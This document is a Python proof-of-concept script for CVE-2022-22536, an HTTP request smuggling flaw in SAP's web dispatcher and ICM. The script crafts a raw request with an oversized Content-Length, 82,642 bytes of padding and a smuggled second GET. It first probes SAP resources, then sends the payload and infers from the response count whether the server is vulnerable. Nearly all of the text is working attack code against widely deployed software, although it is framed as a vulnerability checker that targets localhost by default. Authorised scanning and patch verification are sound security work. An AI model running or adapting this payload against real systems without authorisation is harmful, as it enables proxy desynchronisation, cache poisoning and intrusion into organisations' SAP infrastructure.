CVE-2022-22536.py

from loguru import logger
import re
import ssl
import socket

TEST_RESOURCES = (
    '/sap/admin/public/default.html?aaa',
    '/sap/public/bc/ur/Login/assets/corbu/sap_logo.png'
)
RESPONSE_PATTERN = (
        r'(?P<version>HTTP/\S+) '
        + r'(?P<status_code>\d{3}) '
        + r'(?P<status_text>.+)'
        + '\r\n'
)

class POC():
    @logger.catch(level='ERROR')
    def __init__(self):
        pass

    @logger.catch(level='ERROR')
    def craft_ssl_context(self, cert_verify: bool = True) -> ssl.SSLContext:
        """Crafts the ssl context wrapper and sets verification options"""
        logger.debug(f'Setting SSL context with verify mode {cert_verify}')
        context = ssl.SSLContext()
        # By default we check valid for cert security
        if cert_verify:
            context.verify_mode = ssl.CERT_REQUIRED
            context.check_hostname = True
            context.load_default_certs()
        else:
            context.verify_mode = ssl.CERT_NONE
            context.check_hostname = False
        return context

    @logger.catch(level='ERROR')
    def craft_socket(self, server_hostname: str = None, secure: bool = False, cert_verify: bool = True) -> socket.socket:
        """Crafts the socket and wraps the ssl connection if it's required"""
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        logger.debug('Crafting socket')
        if secure:
            context = self.craft_ssl_context(cert_verify=cert_verify)
            logger.debug('Wraping socket with SSL')
            s = context.wrap_socket(s, server_hostname=server_hostname)
        return s

    @logger.catch(level='ERROR')
    def craft_payload(self, host: str, port: int, method: str = 'GET', resource: str = None) -> bytes:
        """Crafts the required payload and the proxy aligment"""
        logger.debug(f'Crafting payload for {host}:{port}')
        action = f'{method} {resource} HTTP/1.1'
        host_header = f'Host: {host}:{port}'
        padding = 'A' * 82642
        header_separator = '\r\n'
        content_separator = header_separator * 2
        # Proxy will match the amount of responses to the requests amounts
        proxy_alignment = f'GET / HTTP/1.1\r\nHost: {host}:{port}\r\n\r\n'
        payload = (action
                   + header_separator
                   + host_header
                   + header_separator
                   + 'User-Agent: CVE-2022-22536 poc tool'
                   + header_separator
                   + 'Content-Length: 82646'
                   + header_separator
                   + 'Connection: keep-alive'
                   + content_separator
                   + padding
                   + content_separator
                   + proxy_alignment)
        return payload.encode()

    @logger.catch(level='ERROR')
    def parse_response(self, data: bytes) -> dict:
        """Encode and parse the responses"""
        enc_data = data.decode('utf-8', errors='replace')
        compiled_pattern = re.compile(RESPONSE_PATTERN)
        response_count = 0
        responses = []
        for r in compiled_pattern.finditer(enc_data):
            response_count += 1
            d = r.groupdict()
            responses.append(d)
        results = {
            'count': response_count,
            'total_size': len(data),
            'responses': responses
        }
        return results

    @logger.catch(level='ERROR')
    def validate_resource_and_cache(self, host: str, port: int, secure: bool = False, cert_verify: bool = False) -> str:
        """Performs requests to check and cache resources"""
        for r in TEST_RESOURCES:
            s = self.craft_socket(server_hostname=host, secure=secure, cert_verify=cert_verify)
            s.connect((host, port))
            logger.debug(f'Connection established {host}:{port}')
            logger.debug(f'Validating resource {r}')
            payload = ('{method} {resource} HTTP/1.1\r\n' + 'Host: {host}:{port}\r\n\r\n')
            payload = payload.format(method='GET', resource=r, host=host, port=port)
            payload = payload.encode()
            data = self.send_payload(s, payload)
            resp = self.parse_response(data)
            if resp['count'] > 0 and resp['responses'][0]['status_code'] == '200':
                logger.debug(f'Resource {r} seems valid')
                return r
            logger.debug(f'Resource {r} seems not valid. Status code {resp["responses"][0]["status_code"]}')
            s.close()
        return None

    @logger.catch(level='ERROR')
    def send_payload(self, s: socket.socket, payload: bytes = None) -> bytes:
        s.send(payload)
        logger.debug('Payload sent')
        data = b''
        s.settimeout(3.0)
        try:
            while True:
                chunk = s.recv(1024)
                if not chunk:
                    break
                data += chunk
        except socket.timeout:
            pass
        s.close()
        return data

    @logger.catch(level='ERROR')
    def execute(self, host: str, port: int, resource: str = None, secure: bool = False, cert_verify: bool = False) -> str:
        s = self.craft_socket(server_hostname=host, secure=secure, cert_verify=cert_verify)
        s.connect((host, port))
        logger.debug(f'Connection established {host}:{port}')
        payload = self.craft_payload(host, port, resource=resource)
        data = self.send_payload(s, payload)
        results = self.parse_response(data)
        logger.debug('Response count: {}'.format(results['count']))
        self.debug_responses(results['responses'])
        s.close()
        scp = re.compile(r'^(400|5[0-9]{2})$')
        return results['count'] > 1 and scp.match(results['responses'][1]['status_code'])

    @logger.catch(level='ERROR')
    def debug_responses(self, responses: dict) -> None:
        for i, r in enumerate(responses):
            logger.debug(f'Response {i}: {r["status_code"]} {r["status_text"]}')

    @logger.catch(level='ERROR')
    def dia(self, host, port, secure=True, cert_verify=False) -> str:
        """Determine if the server is vulnerable to CVE-2022-22536"""
        try:
            resource = self.validate_resource_and_cache(host, port, secure=secure, cert_verify=cert_verify)
            if resource is not None:
                vulnerable = self.execute(host, port, resource=resource, secure=secure, cert_verify=cert_verify)
                if vulnerable:
                    logger.info(f'{host}:{port} vulnerable')
                else:
                    logger.info(f'{host}:{port} not vulnerable')
            else:
                logger.error('No valid resource test found, is not possible to test')
        except ssl.SSLError:
            logger.error(('SSL error, set cert_verify=False ' + 'for self signed certificates'))
        except ConnectionRefusedError as e:
            logger.error(e)
        except ConnectionResetError:
            logger.error('Connection reset by peer, set secure=True for ssl')

if __name__ == '__main__':
    poc = POC()
    host = '127.0.0.1'
    port = 8000
    poc.dia(host, port, secure=False, cert_verify=False)